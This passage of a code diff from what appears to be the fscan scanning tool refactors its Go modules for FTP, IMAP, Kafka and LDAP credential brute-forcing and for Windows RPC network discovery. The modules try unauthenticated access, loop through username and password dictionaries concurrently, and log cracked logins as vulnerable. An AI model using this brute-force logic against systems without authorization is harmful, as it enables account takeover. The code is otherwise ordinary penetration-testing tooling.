maxConcurrent = 10 // 默认值 maxConcurrent = 10 // 默认值
} }
@ -130,7 +131,7 @@ func concurrentFtpScan(ctx context.Context, info *Common.HostInfo, credentials [
case <-scanCtx.Done(): case <-scanCtx.Done():
break break
default: default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password)) common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred workChan <- cred
} }
} }
@ -151,14 +152,14 @@ func concurrentFtpScan(ctx context.Context, info *Common.HostInfo, credentials [
} }
return nil return nil
case <-ctx.Done(): case <-ctx.Done():
Common.LogDebug("FTP并发扫描全局超时") common.LogDebug("FTP并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作 scanCancel() // 确保取消所有未完成工作
return nil return nil
} }
} }
// tryFtpCredential 尝试单个FTP凭据 // tryFtpCredential 尝试单个FTP凭据
func tryFtpCredential(ctx context.Context, info *Common.HostInfo, credential FtpCredential, timeoutSeconds int64, maxRetries int) *FtpScanResult { func tryFtpCredential(ctx context.Context, info *common.HostInfo, credential FtpCredential, timeoutSeconds int64, maxRetries int) *FtpScanResult {
var lastErr error var lastErr error
for retry := 0; retry < maxRetries; retry++ { for retry := 0; retry < maxRetries; retry++ {
@ -171,7 +172,7 @@ func tryFtpCredential(ctx context.Context, info *Common.HostInfo, credential Ftp
} }
default: default:
if retry > 0 { if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password)) common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待 time.Sleep(500 * time.Millisecond) // 重试前等待
} }
@ -239,13 +240,13 @@ func tryFtpCredential(ctx context.Context, info *Common.HostInfo, credential Ftp
// 连接数过多需要等待 // 连接数过多需要等待
if strings.Contains(err.Error(), "too many connections") { if strings.Contains(err.Error(), "too many connections") {
Common.LogDebug("连接数过多等待5秒...") common.LogDebug("连接数过多等待5秒...")
time.Sleep(5 * time.Second) time.Sleep(5 * time.Second)
continue continue
} }
// 检查是否需要重试 // 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil { if retryErr := common.CheckErrs(err); retryErr == nil {
break break
} }
} }
@ -260,11 +261,11 @@ func tryFtpCredential(ctx context.Context, info *Common.HostInfo, credential Ftp
} }
// FtpConn 建立FTP连接并尝试登录 // FtpConn 建立FTP连接并尝试登录
func FtpConn(info *Common.HostInfo, user string, pass string) (success bool, directories []string, err error) { func FtpConn(info *common.HostInfo, user string, pass string) (success bool, directories []string, err error) {
Host, Port := info.Host, info.Ports Host, Port := info.Host, info.Ports
// 建立FTP连接 // 建立FTP连接
conn, err := ftp.DialTimeout(fmt.Sprintf("%v:%v", Host, Port), time.Duration(Common.Timeout)*time.Second) conn, err := ftp.DialTimeout(fmt.Sprintf("%v:%v", Host, Port), time.Duration(common.Timeout)*time.Second)
if err != nil { if err != nil {
return false, nil, err return false, nil, err
} }
@ -296,7 +297,7 @@ func FtpConn(info *Common.HostInfo, user string, pass string) (success bool, dir
} }
// saveFtpResult 保存FTP扫描结果 // saveFtpResult 保存FTP扫描结果
func saveFtpResult(info *Common.HostInfo, target string, result *FtpScanResult) { func saveFtpResult(info *common.HostInfo, target string, result *FtpScanResult) {
var successMsg string var successMsg string
var details map[string]interface{} var details map[string]interface{}
@ -323,17 +324,17 @@ func saveFtpResult(info *Common.HostInfo, target string, result *FtpScanResult)
} }
} }
Common.LogSuccess(successMsg) common.LogSuccess(successMsg)
// 保存结果 // 保存结果
vulnResult := &Common.ScanResult{ vulnResult := &output.ScanResult{
Time: time.Now(), Time: time.Now(),
Type: Common.VULN, Type: output.TypeVuln,
Target: info.Host, Target: info.Host,
Status: "vulnerable", Status: "vulnerable",
Details: details, Details: details,
} }
Common.SaveResult(vulnResult) common.SaveResult(vulnResult)
} }
// min 返回两个整数中的较小值 // min 返回两个整数中的较小值

View File

@ -4,7 +4,8 @@ import (
"bytes" "bytes"
"encoding/hex" "encoding/hex"
"fmt" "fmt"
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/output"
"net" "net"
"regexp" "regexp"
"strconv" "strconv"
@ -19,19 +20,19 @@ var (
bufferV3, _ = hex.DecodeString("0900ffff0000") bufferV3, _ = hex.DecodeString("0900ffff0000")
) )
func Findnet(info *Common.HostInfo) error { func Findnet(info *common.HostInfo) error {
return FindnetScan(info) return FindnetScan(info)
} }
func FindnetScan(info *Common.HostInfo) error { func FindnetScan(info *common.HostInfo) error {
target := fmt.Sprintf("%s:%v", info.Host, 135) target := fmt.Sprintf("%s:%v", info.Host, 135)
conn, err := Common.WrapperTcpWithTimeout("tcp", target, time.Duration(Common.Timeout)*time.Second) conn, err := common.WrapperTcpWithTimeout("tcp", target, time.Duration(common.Timeout)*time.Second)
if err != nil { if err != nil {
return fmt.Errorf("连接RPC端口失败: %v", err) return fmt.Errorf("连接RPC端口失败: %v", err)
} }
defer conn.Close() defer conn.Close()
if err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil { if err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second)); err != nil {
return fmt.Errorf("设置超时失败: %v", err) return fmt.Errorf("设置超时失败: %v", err)
} }
@ -192,14 +193,14 @@ func read(text []byte, host string) error {
} }
// 保存扫描结果 // 保存扫描结果
result := &Common.ScanResult{ result := &output.ScanResult{
Time: time.Now(), Time: time.Now(),
Type: Common.SERVICE, Type: output.TypeService,
Target: host, Target: host,
Status: "identified", Status: "identified",
Details: details, Details: details,
} }
Common.SaveResult(result) common.SaveResult(result)
// 构建控制台输出 // 构建控制台输出
var output strings.Builder var output strings.Builder
@ -213,17 +214,17 @@ func read(text []byte, host string) error {
if len(ipv4Addrs) > 0 { if len(ipv4Addrs) > 0 {
output.WriteString("\n IPv4地址:") output.WriteString("\n IPv4地址:")
for _, addr := range ipv4Addrs { for _, addr := range ipv4Addrs {
output.WriteString(fmt.Sprintf("\n └─ %s", addr)) output.WriteString(fmt.Sprintf("\n - %s", addr))
} }
} }
if len(ipv6Addrs) > 0 { if len(ipv6Addrs) > 0 {
output.WriteString("\n IPv6地址:") output.WriteString("\n IPv6地址:")
for _, addr := range ipv6Addrs { for _, addr := range ipv6Addrs {
output.WriteString(fmt.Sprintf("\n └─ %s", addr)) output.WriteString(fmt.Sprintf("\n - %s", addr))
} }
} }
Common.LogInfo(output.String()) common.LogInfo(output.String())
return nil return nil
} }

View File

@ -11,7 +11,8 @@ import (
"sync" "sync"
"time" "time"
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/output"
) )
// IMAPCredential 表示一个IMAP凭据 // IMAPCredential 表示一个IMAP凭据
@ -28,22 +29,22 @@ type IMAPScanResult struct {
} }
// IMAPScan 主扫描函数 // IMAPScan 主扫描函数
func IMAPScan(info *Common.HostInfo) error { func IMAPScan(info *common.HostInfo) error {
if Common.DisableBrute { if common.DisableBrute {
return nil return nil
} }
target := fmt.Sprintf("%v:%v", info.Host, info.Ports) target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target)) common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 设置全局超时上下文 // 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second) ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second)
defer cancel() defer cancel()
// 构建凭据列表 // 构建凭据列表
var credentials []IMAPCredential var credentials []IMAPCredential
for _, user := range Common.Userdict["imap"] { for _, user := range common.Userdict["imap"] {
for _, pass := range Common.Passwords { for _, pass := range common.Passwords {
actualPass := strings.Replace(pass, "{user}", user, -1) actualPass := strings.Replace(pass, "{user}", user, -1)
credentials = append(credentials, IMAPCredential{ credentials = append(credentials, IMAPCredential{
Username: user, Username: user,
@ -52,11 +53,11 @@ func IMAPScan(info *Common.HostInfo) error {
} }
} }
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)", common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["imap"]), len(Common.Passwords), len(credentials))) len(common.Userdict["imap"]), len(common.Passwords), len(credentials)))
// 并发扫描 // 并发扫描
result := concurrentIMAPScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries) result := concurrentIMAPScan(ctx, info, credentials, common.Timeout, common.MaxRetries)
if result != nil { if result != nil {
// 记录成功结果 // 记录成功结果
saveIMAPResult(info, target, result.Credential) saveIMAPResult(info, target, result.Credential)
@ -66,18 +67,18 @@ func IMAPScan(info *Common.HostInfo) error {
// 检查是否因为全局超时而退出 // 检查是否因为全局超时而退出
select { select {
case <-ctx.Done(): case <-ctx.Done():
Common.LogDebug("IMAP扫描全局超时") common.LogDebug("IMAP扫描全局超时")
return fmt.Errorf("全局超时") return fmt.Errorf("全局超时")
default: default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials))) common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)))
return nil return nil
} }
} }
// concurrentIMAPScan 并发扫描IMAP服务 // concurrentIMAPScan 并发扫描IMAP服务
func concurrentIMAPScan(ctx context.Context, info *Common.HostInfo, credentials []IMAPCredential, timeoutSeconds int64, maxRetries int) *IMAPScanResult { func concurrentIMAPScan(ctx context.Context, info *common.HostInfo, credentials []IMAPCredential, timeoutSeconds int64, maxRetries int) *IMAPScanResult {
// 使用ModuleThreadNum控制并发数 // 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum maxConcurrent := common.ModuleThreadNum
if maxConcurrent <= 0 { if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值 maxConcurrent = 10 // 默认值
} }
@ -123,7 +124,7 @@ func concurrentIMAPScan(ctx context.Context, info *Common.HostInfo, credentials
case <-scanCtx.Done(): case <-scanCtx.Done():
break break
default: default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password)) common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred workChan <- cred
} }
} }
@ -144,14 +145,14 @@ func concurrentIMAPScan(ctx context.Context, info *Common.HostInfo, credentials
} }
return nil return nil
case <-ctx.Done(): case <-ctx.Done():
Common.LogDebug("IMAP并发扫描全局超时") common.LogDebug("IMAP并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作 scanCancel() // 确保取消所有未完成工作
return nil return nil
} }
} }
// tryIMAPCredential 尝试单个IMAP凭据 // tryIMAPCredential 尝试单个IMAP凭据
func tryIMAPCredential(ctx context.Context, info *Common.HostInfo, credential IMAPCredential, timeoutSeconds int64, maxRetries int) *IMAPScanResult { func tryIMAPCredential(ctx context.Context, info *common.HostInfo, credential IMAPCredential, timeoutSeconds int64, maxRetries int) *IMAPScanResult {
var lastErr error var lastErr error
for retry := 0; retry < maxRetries; retry++ { for retry := 0; retry < maxRetries; retry++ {
@ -164,7 +165,7 @@ func tryIMAPCredential(ctx context.Context, info *Common.HostInfo, credential IM
} }
default: default:
if retry > 0 { if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password)) common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待 time.Sleep(500 * time.Millisecond) // 重试前等待
} }
@ -183,7 +184,7 @@ func tryIMAPCredential(ctx context.Context, info *Common.HostInfo, credential IM
lastErr = err lastErr = err
if err != nil { if err != nil {
// 检查是否需要重试 // 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil { if retryErr := common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误 break // 不需要重试的错误
} }
} }
@ -198,9 +199,9 @@ func tryIMAPCredential(ctx context.Context, info *Common.HostInfo, credential IM
} }
// IMAPConn 连接测试函数 // IMAPConn 连接测试函数
func IMAPConn(ctx context.Context, info *Common.HostInfo, user string, pass string) (bool, error) { func IMAPConn(ctx context.Context, info *common.HostInfo, user string, pass string) (bool, error) {
host, port := info.Host, info.Ports host, port := info.Host, info.Ports
timeout := time.Duration(Common.Timeout) * time.Second timeout := time.Duration(common.Timeout) * time.Second
addr := fmt.Sprintf("%s:%s", host, port) addr := fmt.Sprintf("%s:%s", host, port)
// 创建结果通道 // 创建结果通道
@ -212,7 +213,7 @@ func IMAPConn(ctx context.Context, info *Common.HostInfo, user string, pass stri
// 在协程中尝试连接 // 在协程中尝试连接
go func() { go func() {
// 先尝试普通连接 // 先尝试普通连接
conn, err := Common.WrapperTcpWithContext(ctx, "tcp", addr) conn, err := common.WrapperTcpWithContext(ctx, "tcp", addr)
if err == nil { if err == nil {
flag, authErr := tryIMAPAuth(conn, user, pass, timeout) flag, authErr := tryIMAPAuth(conn, user, pass, timeout)
conn.Close() conn.Close()
@ -234,7 +235,7 @@ func IMAPConn(ctx context.Context, info *Common.HostInfo, user string, pass stri
} }
// 使用支持代理的TLS连接 // 使用支持代理的TLS连接
tlsConn, tlsErr := Common.WrapperTlsWithContext(ctx, "tcp", addr, tlsConfig) tlsConn, tlsErr := common.WrapperTlsWithContext(ctx, "tcp", addr, tlsConfig)
if tlsErr != nil { if tlsErr != nil {
select { select {
case <-ctx.Done(): case <-ctx.Done():
@ -303,15 +304,15 @@ func tryIMAPAuth(conn net.Conn, user string, pass string, timeout time.Duration)
} }
// saveIMAPResult 保存IMAP扫描结果 // saveIMAPResult 保存IMAP扫描结果
func saveIMAPResult(info *Common.HostInfo, target string, credential IMAPCredential) { func saveIMAPResult(info *common.HostInfo, target string, credential IMAPCredential) {
successMsg := fmt.Sprintf("IMAP服务 %s 爆破成功 用户名: %v 密码: %v", successMsg := fmt.Sprintf("IMAP服务 %s 爆破成功 用户名: %v 密码: %v",
target, credential.Username, credential.Password) target, credential.Username, credential.Password)
Common.LogSuccess(successMsg) common.LogSuccess(successMsg)
// 保存结果 // 保存结果
vulnResult := &Common.ScanResult{ vulnResult := &output.ScanResult{
Time: time.Now(), Time: time.Now(),
Type: Common.VULN, Type: output.TypeVuln,
Target: info.Host, Target: info.Host,
Status: "vulnerable", Status: "vulnerable",
Details: map[string]interface{}{ Details: map[string]interface{}{
@ -322,5 +323,5 @@ func saveIMAPResult(info *Common.HostInfo, target string, credential IMAPCredent
"type": "weak-password", "type": "weak-password",
}, },
} }
Common.SaveResult(vulnResult) common.SaveResult(vulnResult)
} }

View File

@ -4,7 +4,8 @@ import (
"context" "context"
"fmt" "fmt"
"github.com/IBM/sarama" "github.com/IBM/sarama"
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/output"
"strings" "strings"
"sync" "sync"
"time" "time"
@ -24,30 +25,30 @@ type KafkaScanResult struct {
Credential KafkaCredential Credential KafkaCredential
} }
func KafkaScan(info *Common.HostInfo) error { func KafkaScan(info *common.HostInfo) error {
if Common.DisableBrute { if common.DisableBrute {
return nil return nil
} }
target := fmt.Sprintf("%v:%v", info.Host, info.Ports) target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target)) common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 设置全局超时上下文 // 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second) ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second)
defer cancel() defer cancel()
// 先尝试无认证访问 // 先尝试无认证访问
Common.LogDebug("尝试无认证访问...") common.LogDebug("尝试无认证访问...")
unauthResult := tryKafkaCredential(ctx, info, KafkaCredential{"", ""}, Common.Timeout, Common.MaxRetries) unauthResult := tryKafkaCredential(ctx, info, KafkaCredential{"", ""}, common.Timeout, common.MaxRetries)
if unauthResult.Success { if unauthResult.Success {
// 无认证访问成功 // 无认证访问成功
Common.LogSuccess(fmt.Sprintf("Kafka服务 %s 无需认证即可访问", target)) common.LogSuccess(fmt.Sprintf("Kafka服务 %s 无需认证即可访问", target))
// 保存无认证访问结果 // 保存无认证访问结果
result := &Common.ScanResult{ result := &output.ScanResult{
Time: time.Now(), Time: time.Now(),
Type: Common.VULN, Type: output.TypeVuln,
Target: info.Host, Target: info.Host,
Status: "vulnerable", Status: "vulnerable",
Details: map[string]interface{}{ Details: map[string]interface{}{
@ -56,14 +57,14 @@ func KafkaScan(info *Common.HostInfo) error {
"type": "unauthorized-access", "type": "unauthorized-access",
}, },
} }
Common.SaveResult(result) common.SaveResult(result)
return nil return nil
} }
// 构建凭据列表 // 构建凭据列表
var credentials []KafkaCredential var credentials []KafkaCredential
for _, user := range Common.Userdict["kafka"] { for _, user := range common.Userdict["kafka"] {
for _, pass := range Common.Passwords { for _, pass := range common.Passwords {
actualPass := strings.Replace(pass, "{user}", user, -1) actualPass := strings.Replace(pass, "{user}", user, -1)
credentials = append(credentials, KafkaCredential{ credentials = append(credentials, KafkaCredential{
Username: user, Username: user,
@ -72,16 +73,16 @@ func KafkaScan(info *Common.HostInfo) error {
} }
} }
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)", common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["kafka"]), len(Common.Passwords), len(credentials))) len(common.Userdict["kafka"]), len(common.Passwords), len(credentials)))
// 使用工作池并发扫描 // 使用工作池并发扫描
result := concurrentKafkaScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries) result := concurrentKafkaScan(ctx, info, credentials, common.Timeout, common.MaxRetries)
if result != nil { if result != nil {
// 保存爆破成功结果 // 保存爆破成功结果
vulnResult := &Common.ScanResult{ vulnResult := &output.ScanResult{
Time: time.Now(), Time: time.Now(),
Type: Common.VULN, Type: output.TypeVuln,
Target: info.Host, Target: info.Host,
Status: "vulnerable", Status: "vulnerable",
Details: map[string]interface{}{ Details: map[string]interface{}{
@ -92,8 +93,8 @@ func KafkaScan(info *Common.HostInfo) error {
"password": result.Credential.Password, "password": result.Credential.Password,
}, },
} }
Common.SaveResult(vulnResult) common.SaveResult(vulnResult)
Common.LogSuccess(fmt.Sprintf("Kafka服务 %s 爆破成功 用户名: %s 密码: %s", common.LogSuccess(fmt.Sprintf("Kafka服务 %s 爆破成功 用户名: %s 密码: %s",
target, result.Credential.Username, result.Credential.Password)) target, result.Credential.Username, result.Credential.Password))
return nil return nil
} }
@ -101,18 +102,18 @@ func KafkaScan(info *Common.HostInfo) error {
// 检查是否因为全局超时而退出 // 检查是否因为全局超时而退出
select { select {
case <-ctx.Done(): case <-ctx.Done():
Common.LogDebug("Kafka扫描全局超时") common.LogDebug("Kafka扫描全局超时")
return fmt.Errorf("全局超时") return fmt.Errorf("全局超时")
default: default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了无认证 common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了无认证
return nil return nil
} }
} }
// concurrentKafkaScan 并发扫描Kafka服务 // concurrentKafkaScan 并发扫描Kafka服务
func concurrentKafkaScan(ctx context.Context, info *Common.HostInfo, credentials []KafkaCredential, timeoutSeconds int64, maxRetries int) *KafkaScanResult { func concurrentKafkaScan(ctx context.Context, info *common.HostInfo, credentials []KafkaCredential, timeoutSeconds int64, maxRetries int) *KafkaScanResult {
// 使用ModuleThreadNum控制并发数 // 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum maxConcurrent := common.ModuleThreadNum
if maxConcurrent <= 0 { if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值 maxConcurrent = 10 // 默认值
} }
@ -158,7 +159,7 @@ func concurrentKafkaScan(ctx context.Context, info *Common.HostInfo, credentials
case <-scanCtx.Done(): case <-scanCtx.Done():
break break
default: default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password)) common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred workChan <- cred
} }
} }
@ -179,14 +180,14 @@ func concurrentKafkaScan(ctx context.Context, info *Common.HostInfo, credentials
} }
return nil return nil
case <-ctx.Done(): case <-ctx.Done():
Common.LogDebug("Kafka并发扫描全局超时") common.LogDebug("Kafka并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作 scanCancel() // 确保取消所有未完成工作
return nil return nil
} }
} }
// tryKafkaCredential 尝试单个Kafka凭据 // tryKafkaCredential 尝试单个Kafka凭据
func tryKafkaCredential(ctx context.Context, info *Common.HostInfo, credential KafkaCredential, timeoutSeconds int64, maxRetries int) *KafkaScanResult { func tryKafkaCredential(ctx context.Context, info *common.HostInfo, credential KafkaCredential, timeoutSeconds int64, maxRetries int) *KafkaScanResult {
var lastErr error var lastErr error
for retry := 0; retry < maxRetries; retry++ { for retry := 0; retry < maxRetries; retry++ {
@ -199,7 +200,7 @@ func tryKafkaCredential(ctx context.Context, info *Common.HostInfo, credential K
} }
default: default:
if retry > 0 { if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password)) common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待 time.Sleep(500 * time.Millisecond) // 重试前等待
} }
@ -261,11 +262,11 @@ func tryKafkaCredential(ctx context.Context, info *Common.HostInfo, credential K
lastErr = err lastErr = err
if err != nil { if err != nil {
// 记录错误 // 记录错误
Common.LogError(fmt.Sprintf("Kafka尝试失败 用户名: %s 密码: %s 错误: %v", common.LogError(fmt.Sprintf("Kafka尝试失败 用户名: %s 密码: %s 错误: %v",
credential.Username, credential.Password, err)) credential.Username, credential.Password, err))
// 检查是否需要重试 // 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil { if retryErr := common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误 break // 不需要重试的错误
} }
} }
@ -280,9 +281,9 @@ func tryKafkaCredential(ctx context.Context, info *Common.HostInfo, credential K
} }
// KafkaConn 尝试 Kafka 连接 // KafkaConn 尝试 Kafka 连接
func KafkaConn(info *Common.HostInfo, user string, pass string) (bool, error) { func KafkaConn(info *common.HostInfo, user string, pass string) (bool, error) {
host, port := info.Host, info.Ports host, port := info.Host, info.Ports
timeout := time.Duration(Common.Timeout) * time.Second timeout := time.Duration(common.Timeout) * time.Second
config := sarama.NewConfig() config := sarama.NewConfig()
config.Net.DialTimeout = timeout config.Net.DialTimeout = timeout

View File

@ -8,7 +8,8 @@ import (
"time" "time"
"github.com/go-ldap/ldap/v3" "github.com/go-ldap/ldap/v3"
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/output"
) )
// LDAPCredential 表示一个LDAP凭据 // LDAPCredential 表示一个LDAP凭据
@ -25,21 +26,21 @@ type LDAPScanResult struct {
IsAnonymous bool IsAnonymous bool
} }
func LDAPScan(info *Common.HostInfo) error { func LDAPScan(info *common.HostInfo) error {
if Common.DisableBrute { if common.DisableBrute {
return nil return nil
} }
target := fmt.Sprintf("%v:%v", info.Host, info.Ports) target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target)) common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 设置全局超时上下文 // 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second) ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second)
defer cancel() defer cancel()
// 首先尝试匿名访问 // 首先尝试匿名访问
Common.LogDebug("尝试匿名访问...") common.LogDebug("尝试匿名访问...")
anonymousResult := tryLDAPCredential(ctx, info, LDAPCredential{"", ""}, Common.Timeout, 1) anonymousResult := tryLDAPCredential(ctx, info, LDAPCredential{"", ""}, common.Timeout, 1)
if anonymousResult.Success { if anonymousResult.Success {
// 匿名访问成功 // 匿名访问成功
@ -49,8 +50,8 @@ func LDAPScan(info *Common.HostInfo) error {
// 构建凭据列表 // 构建凭据列表
var credentials []LDAPCredential var credentials []LDAPCredential
for _, user := range Common.Userdict["ldap"] { for _, user := range common.Userdict["ldap"] {
for _, pass := range Common.Passwords { for _, pass := range common.Passwords {
actualPass := strings.Replace(pass, "{user}", user, -1) actualPass := strings.Replace(pass, "{user}", user, -1)
credentials = append(credentials, LDAPCredential{ credentials = append(credentials, LDAPCredential{
Username: user, Username: user,
@ -59,11 +60,11 @@ func LDAPScan(info *Common.HostInfo) error {
} }
} }
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)", common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["ldap"]), len(Common.Passwords), len(credentials))) len(common.Userdict["ldap"]), len(common.Passwords), len(credentials)))
// 使用工作池并发扫描 // 使用工作池并发扫描
result := concurrentLDAPScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries) result := concurrentLDAPScan(ctx, info, credentials, common.Timeout, common.MaxRetries)
if result != nil { if result != nil {
// 记录成功结果 // 记录成功结果
saveLDAPResult(info, target, result) saveLDAPResult(info, target, result)
@ -73,18 +74,18 @@ func LDAPScan(info *Common.HostInfo) error {
// 检查是否因为全局超时而退出 // 检查是否因为全局超时而退出
select { select {
case <-ctx.Done(): case <-ctx.Done():
Common.LogDebug("LDAP扫描全局超时") common.LogDebug("LDAP扫描全局超时")
return fmt.Errorf("全局超时") return fmt.Errorf("全局超时")
default: default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了匿名访问 common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了匿名访问
return nil return nil
} }
} }
// concurrentLDAPScan 并发扫描LDAP服务 // concurrentLDAPScan 并发扫描LDAP服务
func concurrentLDAPScan(ctx context.Context, info *Common.HostInfo, credentials []LDAPCredential, timeoutSeconds int64, maxRetries int) *LDAPScanResult { func concurrentLDAPScan(ctx context.Context, info *common.HostInfo, credentials []LDAPCredential, timeoutSeconds int64, maxRetries int) *LDAPScanResult {
// 使用ModuleThreadNum控制并发数 // 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum maxConcurrent := common.ModuleThreadNum
if maxConcurrent <= 0 { if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值 maxConcurrent = 10 // 默认值
} }
@ -130,7 +131,7 @@ func concurrentLDAPScan(ctx context.Context, info *Common.HostInfo, credentials
case <-scanCtx.Done(): case <-scanCtx.Done():
break break
default: default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password)) common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred workChan <- cred
} }
} }
@ -151,14 +152,14 @@ func concurrentLDAPScan(ctx context.Context, info *Common.HostInfo, credentials
} }
return nil return nil
case <-ctx.Done(): case <-ctx.Done():
Common.LogDebug("LDAP并发扫描全局超时") common.LogDebug("LDAP并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作 scanCancel() // 确保取消所有未完成工作
return nil return nil
} }
} }
// tryLDAPCredential 尝试单个LDAP凭据 // tryLDAPCredential 尝试单个LDAP凭据
func tryLDAPCredential(ctx context.Context, info *Common.HostInfo, credential LDAPCredential, timeoutSeconds int64, maxRetries int) *LDAPScanResult { func tryLDAPCredential(ctx context.Context, info *common.HostInfo, credential LDAPCredential, timeoutSeconds int64, maxRetries int) *LDAPScanResult {
var lastErr error var lastErr error
for retry := 0; retry < maxRetries; retry++ { for retry := 0; retry < maxRetries; retry++ {
@ -171,7 +172,7 @@ func tryLDAPCredential(ctx context.Context, info *Common.HostInfo, credential LD
} }
default: default:
if retry > 0 { if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password)) common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待 time.Sleep(500 * time.Millisecond) // 重试前等待
} }
@ -192,7 +193,7 @@ func tryLDAPCredential(ctx context.Context, info *Common.HostInfo, credential LD
lastErr = err lastErr = err
if err != nil { if err != nil {
// 检查是否需要重试 // 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil { if retryErr := common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误 break // 不需要重试的错误
} }
} }
@ -207,11 +208,11 @@ func tryLDAPCredential(ctx context.Context, info *Common.HostInfo, credential LD
} }
// LDAPConn 尝试LDAP连接 // LDAPConn 尝试LDAP连接
func LDAPConn(ctx context.Context, info *Common.HostInfo, user string, pass string) (bool, error) { func LDAPConn(ctx context.Context, info *common.HostInfo, user string, pass string) (bool, error) {
